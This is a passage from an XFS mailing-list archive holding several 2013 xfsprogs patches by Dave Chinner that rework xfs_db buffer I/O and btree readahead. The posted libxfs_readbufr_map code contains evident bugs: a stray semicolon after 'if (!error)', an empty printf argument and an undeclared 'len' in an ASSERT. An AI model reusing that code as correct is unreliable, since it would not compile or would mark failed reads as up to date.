libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, + iocur_top->bbmap->b, iocur_top->bbmap->nmaps, + 0); + if (ret != 0) dbprintf(_("read error: %s\n"), strerror(ret)); } @@ -554,7 +462,7 @@ write_cur(void) return; } - if (iocur_top->use_bbmap) + if (iocur_top->bbmap) write_cur_bbs(); else write_cur_buf(); @@ -568,6 +476,7 @@ set_cur( int ring_flag, bbmap_t *bbmap) { + struct xfs_buf *bp; xfs_ino_t dirino; xfs_ino_t ino; __uint16_t mode; @@ -585,23 +494,28 @@ set_cur( if (bbmap) { #ifdef DEBUG + int i; printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); + printf(_("\tblock map")); + for (i = 0; i < bbmap->nmaps; i++) + printf(" %lld:%d", (long long)bbmap->b[i].bm_bn, + bbmap->b[i].bm_len); + printf("\n"); #endif - - if (read_bbs(d, c, &iocur_top->buf, bbmap)) + iocur_top->bbmap = malloc(sizeof(struct bbmap)); + if (!iocur_top->bbmap) return; - iocur_top->bbmap = *bbmap; - iocur_top->use_bbmap = 1; + memcpy(iocur_top->bbmap, bbmap, sizeof(struct bbmap)); + bp = libxfs_readbuf_map(mp->m_ddev_targp, bbmap->b, + bbmap->nmaps, 0, NULL); } else { - if (!iocur_top->buf) { - iocur_top->buf = malloc(BBTOB(c)); - if (!iocur_top->buf) - return; - } - if (read_buf(d, c, iocur_top->buf)) - return; - iocur_top->use_bbmap = 0; + bp = libxfs_readbuf(mp->m_ddev_targp, d, c, 0, NULL); + iocur_top->bbmap = NULL; } + if (!bp || bp->b_error) + return; + iocur_top->buf = bp->b_addr; + iocur_top->bp = bp; iocur_top->bb = d; iocur_top->blen = c; diff --git a/db/io.h b/db/io.h index c7641d5..2c47ccc 100644 --- a/db/io.h +++ b/db/io.h @@ -36,8 +36,8 @@ typedef struct iocur { __uint16_t mode; /* current inode's mode */ xfs_off_t off; /* fs offset of "data" in bytes */ const struct typ *typ; /* type of "data" */ - int use_bbmap; /* set if bbmap is valid */ - bbmap_t bbmap; /* map daddr if fragmented */ + bbmap_t *bbmap; /* map daddr if fragmented */ + struct xfs_buf *bp; /* underlying buffer */ } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ diff --git a/include/libxfs.h b/include/libxfs.h index f10ab59..08fd0b3 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -447,7 +447,10 @@ extern xfs_buf_t *libxfs_getbufr(struct xfs_buftarg *, xfs_daddr_t, int); extern void libxfs_putbufr(xfs_buf_t *); extern int libxfs_writebuf_int(xfs_buf_t *, int); +extern int libxfs_writebufr(struct xfs_buf *); extern int libxfs_readbufr(struct xfs_buftarg *, xfs_daddr_t, xfs_buf_t *, int, int); +extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, + struct xfs_buf_map *, int, int); extern int libxfs_bhash_size; extern int libxfs_ihash_size; diff --git a/libxfs/init.c b/libxfs/init.c index db7eeea..229aa50 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -688,6 +688,9 @@ libxfs_mount( libxfs_buftarg_init(mp, dev, logdev, rtdev); mp->m_flags = (LIBXFS_MOUNT_32BITINODES|LIBXFS_MOUNT_32BITINOOPT); + if (flags & LIBXFS_MOUNT_ROOTINOS) + mp->m_flags |= LIBXFS_MOUNT_ROOTINOS; + mp->m_sb = *sb; INIT_RADIX_TREE(&mp->m_perag_tree, GFP_KERNEL); sbp = &(mp->m_sb); @@ -866,6 +869,8 @@ libxfs_umount(xfs_mount_t *mp) int agno; libxfs_rtmount_destroy(mp); + if ((mp->m_flags & LIBXFS_MOUNT_ROOTINOS) && mp->m_rootip) + libxfs_iput(mp->m_rootip, 0); libxfs_icache_purge(); libxfs_bcache_purge(); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 13dbd23..8d8bcfc 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -719,30 +719,18 @@ libxfs_readbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len, int flags, return bp; } -struct xfs_buf * -libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, - int flags, const struct xfs_buf_ops *ops) +int +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, + struct xfs_buf_map *map, int nmaps, int flags) { - xfs_buf_t *bp; - int error = 0; - int fd; - int i; - char *buf; - - if (nmaps == 1) - return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, - flags, ops); - - bp = libxfs_getbuf_map(btp, map, nmaps); - if (!bp) - return NULL; + int fd = libxfs_device_to_fd(btp->dev); + int error = 0; + char *buf; + int i; - bp->b_error = 0; - bp->b_ops = ops; - if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) - return bp; + ASSERT(BBTOB(len) <= bp->b_bcount); - ASSERT(bp->b_nmaps = nmaps); + ASSERT(bp->b_nmaps == nmaps); fd = libxfs_device_to_fd(btp->dev); buf = bp->b_addr; @@ -762,6 +750,37 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, offset += len; } + if (!error); + bp->b_flags |= LIBXFS_B_UPTODATE; +#ifdef IO_DEBUG + printf("%lx: %s: read %u bytes, error %d, blkno=0x%llx(0x%llx), %p\n", + pthread_self(), __FUNCTION__, , error, + (long long)LIBXFS_BBTOOFF64(blkno), (long long)blkno, bp); +#endif + return error; +} + +struct xfs_buf * +libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, + int flags, const struct xfs_buf_ops *ops) +{ + struct xfs_buf *bp; + int error = 0; + + if (nmaps == 1) + return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, + flags, ops); + + bp = libxfs_getbuf_map(btp, map, nmaps); + if (!bp) + return NULL; + + bp->b_error = 0; + bp->b_ops = ops; + if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) + return bp; + + error = libxfs_readbufr_map(btp, bp, map, nmaps, flags); if (!error) { bp->b_flags |= LIBXFS_B_UPTODATE; if (bp->b_ops) -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4BCAE7FB8 for ; Sun, 29 Sep 2013 22:15:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2CAAA304032 for ; Sun, 29 Sep 2013 20:15:58 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 4cLdIBUc2OfUxjEK for ; Sun, 29 Sep 2013 20:15:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgVAzE5Aw0OGYgFvAyTegOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006P4-5n for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002GN-4r for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 17/32] db: separate out straight buffer IO from map based IO. Date: Mon, 30 Sep 2013 13:15:29 +1000 X-ASG-Orig-Subj: [PATCH 17/32] db: separate out straight buffer IO from map based IO. Message-Id: <1380510944-8571-18-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510956 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner First step in converting to libxfs based IO. Signed-off-by: Dave Chinner --- db/init.c | 7 ++-- db/io.c | 125 +++++++++++++++++++++++++++++++++++++++++++++++++------------- db/io.h | 5 +-- 3 files changed, 104 insertions(+), 33 deletions(-) diff --git a/db/init.c b/db/init.c index 2932e51..0e88b56 100644 --- a/db/init.c +++ b/db/init.c @@ -55,7 +55,7 @@ init( char **argv) { xfs_sb_t *sbp; - void *bufp = NULL; + char bufp[BBSIZE]; int c; setlocale(LC_ALL, ""); @@ -115,15 +115,14 @@ init( exit(1); } - if (read_bbs(XFS_SB_DADDR, 1, &bufp, NULL)) { + if (read_buf(XFS_SB_DADDR, 1, bufp)) { fprintf(stderr, _("%s: %s is invalid (cannot read first 512 " "bytes)\n"), progname, fsdevice); exit(1); } /* copy SB from buffer to in-core, converting architecture as we go */ - libxfs_sb_from_disk(&xmount.m_sb, bufp); - xfree(bufp); + libxfs_sb_from_disk(&xmount.m_sb, (struct xfs_dsb *)bufp); sbp = &xmount.m_sb; if (sbp->sb_magicnum != XFS_SB_MAGIC) { diff --git a/db/io.c b/db/io.c index 39a1827..fa11646 100644 --- a/db/io.c +++ b/db/io.c @@ -417,8 +417,61 @@ ring_add(void) } } - int +read_buf( + xfs_daddr_t bbno, + int count, + void *bufp) +{ + int err; + + err = pread64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); + if (err < 0) + err = errno; + else if (err < count) + err = -1; + return err; +} + +static int +write_buf( + xfs_daddr_t bbno, + int count, + void *bufp) +{ + int err; + + err = pwrite64(x.dfd, bufp, BBTOB(count), BBTOB(bbno)); + if (err < 0) + err = errno; + else if (err < count) + err = -1; + return err; +} + +static void +write_cur_buf(void) +{ + int ret; + + ret = write_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); + + if (ret == -1) + dbprintf(_("incomplete write, block: %lld\n"), + (iocur_base + iocur_sp)->bb); + else if (ret != 0) + dbprintf(_("write error: %s\n"), strerror(ret)); + + /* re-read buffer from disk */ + ret = read_buf(iocur_top->bb, iocur_top->blen, iocur_top->buf); + if (ret == -1) + dbprintf(_("incomplete read, block: %lld\n"), + (iocur_base + iocur_sp)->bb); + else if (ret != 0) + dbprintf(_("read error: %s\n"), strerror(ret)); +} + +static int write_bbs( __int64_t bbno, int count, @@ -430,15 +483,14 @@ write_bbs( int j; int rval = EINVAL; /* initialize for zero `count' case */ - for (j = 0; j < count; j += bbmap ? 1 : count) { - if (bbmap) - bbno = bbmap->b[j]; + for (j = 0; j < count; j++) { + bbno = bbmap->b[j]; if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { rval = errno; dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); return rval; } - c = BBTOB(bbmap ? 1 : count); + c = BBTOB(1); i = (int)write(x.dfd, (char *)bufp + BBTOB(j), c); if (i < 0) { rval = errno; @@ -452,7 +504,7 @@ write_bbs( return rval; } -int +static int read_bbs( __int64_t bbno, int count, @@ -473,9 +525,8 @@ read_bbs( buf = xmalloc(c); else buf = *bufp; - for (j = 0; j < count; j += bbmap ? 1 : count) { - if (bbmap) - bbno = bbmap->b[j]; + for (j = 0; j < count; j++) { + bbno = bbmap->b[j]; if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { rval = errno; dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); @@ -483,7 +534,7 @@ read_bbs( xfree(buf); buf = NULL; } else { - c = BBTOB(bbmap ? 1 : count); + c = BBTOB(1); i = (int)read(x.dfd, (char *)buf + BBTOB(j), c); if (i < 0) { rval = errno; @@ -506,22 +557,19 @@ read_bbs( return rval; } -void -write_cur(void) +static void +write_cur_bbs(void) { int ret; - if (iocur_sp < 0) { - dbprintf(_("nothing to write\n")); - return; - } ret = write_bbs(iocur_top->bb, iocur_top->blen, iocur_top->buf, - iocur_top->use_bbmap ? &iocur_top->bbmap : NULL); + &iocur_top->bbmap); if (ret == -1) dbprintf(_("incomplete write, block: %lld\n"), (iocur_base + iocur_sp)->bb); else if (ret != 0) dbprintf(_("write error: %s\n"), strerror(ret)); + /* re-read buffer from disk */ ret = read_bbs(iocur_top->bb, iocur_top->blen, &iocur_top->buf, iocur_top->use_bbmap ? &iocur_top->bbmap : NULL); @@ -533,6 +581,20 @@ write_cur(void) } void +write_cur(void) +{ + if (iocur_sp < 0) { + dbprintf(_("nothing to write\n")); + return; + } + + if (iocur_top->use_bbmap) + write_cur_bbs(); + else + write_cur_buf(); +} + +void set_cur( const typ_t *t, __int64_t d, @@ -549,17 +611,32 @@ set_cur( return; } -#ifdef DEBUG - if (bbmap) - printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); -#endif ino = iocur_top->ino; dirino = iocur_top->dirino; mode = iocur_top->mode; pop_cur(); push_cur(); - if (read_bbs(d, c, &iocur_top->buf, bbmap)) - return; + + if (bbmap) { +#ifdef DEBUG + printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); +#endif + + if (read_bbs(d, c, &iocur_top->buf, bbmap)) + return; + iocur_top->bbmap = *bbmap; + iocur_top->use_bbmap = 1; + } else { + if (!iocur_top->buf) { + iocur_top->buf = malloc(BBTOB(c)); + if (!iocur_top->buf) + return; + } + if (read_buf(d, c, iocur_top->buf)) + return; + iocur_top->use_bbmap = 0; + } + iocur_top->bb = d; iocur_top->blen = c; iocur_top->boff = 0; @@ -570,8 +647,6 @@ set_cur( iocur_top->ino = ino; iocur_top->dirino = dirino; iocur_top->mode = mode; - if ((iocur_top->use_bbmap = (bbmap != NULL))) - iocur_top->bbmap = *bbmap; /* store location in ring */ if (ring_flag) diff --git a/db/io.h b/db/io.h index 549aad9..9ea6223 100644 --- a/db/io.h +++ b/db/io.h @@ -52,10 +52,7 @@ extern void off_cur(int off, int len); extern void pop_cur(void); extern void print_iocur(char *tag, iocur_t *ioc); extern void push_cur(void); -extern int read_bbs(__int64_t daddr, int count, void **bufp, - bbmap_t *bbmap); -extern int write_bbs(__int64_t daddr, int count, void *bufp, - bbmap_t *bbmap); +extern int read_buf(__int64_t daddr, int count, void *bufp); extern void write_cur(void); extern void set_cur(const struct typ *t, __int64_t d, int c, int ring_add, bbmap_t *bbmap); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A5C5529E04 for ; Sun, 29 Sep 2013 22:15:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 963BB8F8035 for ; Sun, 29 Sep 2013 20:15:58 -0700 (PDT) X-ASG-Debug-ID: 1380510952-04cbb02c3e1591df0003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 3Smaxy1SPTY372Li for ; Sun, 29 Sep 2013 20:15:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDojiHQIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006P8-6P for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002GS-5S for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 18/32] db: rewrite bbmap to use xfs_buf_map Date: Mon, 30 Sep 2013 13:15:30 +1000 X-ASG-Orig-Subj: [PATCH 18/32] db: rewrite bbmap to use xfs_buf_map Message-Id: <1380510944-8571-19-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510956 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Use the libxfs struct xfs_buf_map for recording the extent layout of discontiguous buffers and convert the read/write to decode them directory and use read_buf/write_buf to do the extent IO. This brings the physical xfs_db IO code to be very close to the model that libxfs uses. Signed-off-by: Dave Chinner --- db/bmap.c | 15 ++++----------- db/io.c | 58 ++++++++++++---------------------------------------------- db/io.h | 3 ++- 3 files changed, 18 insertions(+), 58 deletions(-) diff --git a/db/bmap.c b/db/bmap.c index 0ef7a62..3951b9f 100644 --- a/db/bmap.c +++ b/db/bmap.c @@ -293,20 +293,13 @@ make_bbmap( int nex, bmap_ext_t *bmp) { - int d; - xfs_dfsbno_t dfsbno; int i; - int j; - int k; - for (i = 0, d = 0; i < nex; i++) { - dfsbno = bmp[i].startblock; - for (j = 0; j < bmp[i].blockcount; j++, dfsbno++) { - for (k = 0; k < blkbb; k++) - bbmap->b[d++] = - XFS_FSB_TO_DADDR(mp, dfsbno) + k; - } + for (i = 0; i < nex; i++) { + bbmap->b[i].bm_bn = XFS_FSB_TO_DADDR(mp, bmp[i].startblock); + bbmap->b[i].bm_len = XFS_FSB_TO_BB(mp, bmp[i].blockcount); } + bbmap->nmaps = nex; } static xfs_fsblock_t diff --git a/db/io.c b/db/io.c index fa11646..01a5970 100644 --- a/db/io.c +++ b/db/io.c @@ -478,28 +478,16 @@ write_bbs( void *bufp, bbmap_t *bbmap) { - int c; - int i; int j; int rval = EINVAL; /* initialize for zero `count' case */ - for (j = 0; j < count; j++) { - bbno = bbmap->b[j]; - if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { - rval = errno; - dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); - return rval; - } - c = BBTOB(1); - i = (int)write(x.dfd, (char *)bufp + BBTOB(j), c); - if (i < 0) { - rval = errno; - } else if (i < c) { - rval = -1; - } else - rval = 0; + for (j = 0; j < count;) { + rval = write_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, + (char *)bufp + BBTOB(j)); if (rval) break; + + j += bbmap->b[j].bm_len; } return rval; } @@ -512,45 +500,23 @@ read_bbs( bbmap_t *bbmap) { void *buf; - int c; - int i; int j; int rval = EINVAL; if (count <= 0) count = 1; - c = BBTOB(count); if (*bufp == NULL) - buf = xmalloc(c); + buf = xmalloc(BBTOB(count)); else buf = *bufp; - for (j = 0; j < count; j++) { - bbno = bbmap->b[j]; - if (lseek64(x.dfd, bbno << BBSHIFT, SEEK_SET) < 0) { - rval = errno; - dbprintf(_("can't seek in filesystem at bb %lld\n"), bbno); - if (*bufp == NULL) - xfree(buf); - buf = NULL; - } else { - c = BBTOB(1); - i = (int)read(x.dfd, (char *)buf + BBTOB(j), c); - if (i < 0) { - rval = errno; - if (*bufp == NULL) - xfree(buf); - buf = NULL; - } else if (i < c) { - rval = -1; - if (*bufp == NULL) - xfree(buf); - buf = NULL; - } else - rval = 0; - } - if (buf == NULL) + for (j = 0; j < count;) { + rval = read_buf(bbmap->b[j].bm_bn, bbmap->b[j].bm_len, + (char *)buf + BBTOB(j)); + if (rval) break; + + j += bbmap->b[j].bm_len; } if (*bufp == NULL) *bufp = buf; diff --git a/db/io.h b/db/io.h index 9ea6223..c7641d5 100644 --- a/db/io.h +++ b/db/io.h @@ -20,7 +20,8 @@ struct typ; #define BBMAP_SIZE (XFS_MAX_BLOCKSIZE / BBSIZE) typedef struct bbmap { - __int64_t b[BBMAP_SIZE]; + int nmaps; + struct xfs_buf_map b[BBMAP_SIZE]; } bbmap_t; typedef struct iocur { -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 070D829E14 for ; Sun, 29 Sep 2013 22:15:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C25E2304032 for ; Sun, 29 Sep 2013 20:15:58 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9H45QGRGVrFka9Qk for ; Sun, 29 Sep 2013 20:15:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDojiHQIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Ov-29 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Fy-1K for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 12/32] libxfs: unify xfs_btree.c with kernel code Date: Mon, 30 Sep 2013 13:15:24 +1000 X-ASG-Orig-Subj: [PATCH 12/32] libxfs: unify xfs_btree.c with kernel code Message-Id: <1380510944-8571-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510956 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The libxfs/xfs_btree.c code does not contain a small amount of code for btree block readahead that the kernel code does. Instead, it short circuits it at a higher layer and doesn't include the lower layer functions. There is no harm in calling the lower lay functions and have them do nothing, and doing so unifies the kernel and userspace code. Signed-off-by: Dave Chinner --- libxfs/xfs.h | 8 +++++--- libxfs/xfs_btree.c | 48 +++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 48 insertions(+), 8 deletions(-) diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 31acf1b..364fd83 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -319,10 +319,12 @@ roundup_64(__uint64_t x, __uint32_t y) #define xfs_trans_buf_copy_type(dbp, sbp) -#define xfs_buf_readahead(a,b,c,ops) ((void) 0) /* no readahead */ +/* no readahead, need to avoid set-but-unused var warnings. */ +#define xfs_buf_readahead(a,d,c,ops) ({ \ + xfs_daddr_t __d = d; \ + __d = __d; /* no set-but-unused warning */ \ +}) #define xfs_buf_readahead_map(a,b,c,ops) ((void) 0) /* no readahead */ -#define xfs_btree_reada_bufl(m,fsb,c,ops) ((void) 0) -#define xfs_btree_reada_bufs(m,fsb,c,x,ops) ((void) 0) #define xfs_buftrace(x,y) ((void) 0) /* debug only */ #define xfs_cmn_err(tag,level,mp,fmt,args...) cmn_err(level,fmt, ## args) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index 0099926..ce149ad 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -396,7 +396,6 @@ static inline size_t xfs_btree_block_len(struct xfs_btree_cur *cur) return XFS_BTREE_LBLOCK_CRC_LEN; return XFS_BTREE_LBLOCK_LEN; } - if (cur->bc_flags & XFS_BTREE_CRC_BLOCKS) return XFS_BTREE_SBLOCK_CRC_LEN; return XFS_BTREE_SBLOCK_LEN; @@ -493,7 +492,7 @@ xfs_btree_ptr_addr( } /* - * Get a the root block which is stored in the inode. + * Get the root block which is stored in the inode. * * For now this btree implementation assumes the btree root is always * stored in the if_broot field of an inode fork. @@ -716,6 +715,46 @@ xfs_btree_read_bufl( return 0; } +/* + * Read-ahead the block, don't wait for it, don't return a buffer. + * Long-form addressing. + */ +/* ARGSUSED */ +void +xfs_btree_reada_bufl( + struct xfs_mount *mp, /* file system mount point */ + xfs_fsblock_t fsbno, /* file system block number */ + xfs_extlen_t count, /* count of filesystem blocks */ + const struct xfs_buf_ops *ops) +{ + xfs_daddr_t d; + + ASSERT(fsbno != NULLFSBLOCK); + d = XFS_FSB_TO_DADDR(mp, fsbno); + xfs_buf_readahead(mp->m_ddev_targp, d, mp->m_bsize * count, ops); +} + +/* + * Read-ahead the block, don't wait for it, don't return a buffer. + * Short-form addressing. + */ +/* ARGSUSED */ +void +xfs_btree_reada_bufs( + struct xfs_mount *mp, /* file system mount point */ + xfs_agnumber_t agno, /* allocation group number */ + xfs_agblock_t agbno, /* allocation group block number */ + xfs_extlen_t count, /* count of filesystem blocks */ + const struct xfs_buf_ops *ops) +{ + xfs_daddr_t d; + + ASSERT(agno != NULLAGNUMBER); + ASSERT(agbno != NULLAGBLOCK); + d = XFS_AGB_TO_DADDR(mp, agno, agbno); + xfs_buf_readahead(mp->m_ddev_targp, d, mp->m_bsize * count, ops); +} + STATIC int xfs_btree_readahead_lblock( struct xfs_btree_cur *cur, @@ -1339,7 +1378,7 @@ xfs_btree_log_block( * We don't log the CRC when updating a btree * block but instead recreate it during log * recovery. As the log buffers have checksums - * of their this is safe and avoids logging a crc + * of their own this is safe and avoids logging a crc * update in a lot of places. */ if (fields == XFS_BB_ALL_BITS) @@ -1629,7 +1668,7 @@ xfs_lookup_get_search_key( /* * Lookup the record. The cursor is made to point to it, based on dir. - * Return 0 if can't find any such record, 1 for success. + * stat is set to 0 if can't find any such record, 1 for success. */ int /* error */ xfs_btree_lookup( @@ -2701,7 +2740,6 @@ xfs_btree_make_block_unfull( if (numrecs < cur->bc_ops->get_dmaxrecs(cur, level)) { /* A root block that can be made bigger. */ - xfs_iroot_realloc(ip, 1, cur->bc_private.b.whichfork); } else { /* A root block that needs replacing */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DAA307F9C for ; Sun, 29 Sep 2013 22:15:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CC9878F8049 for ; 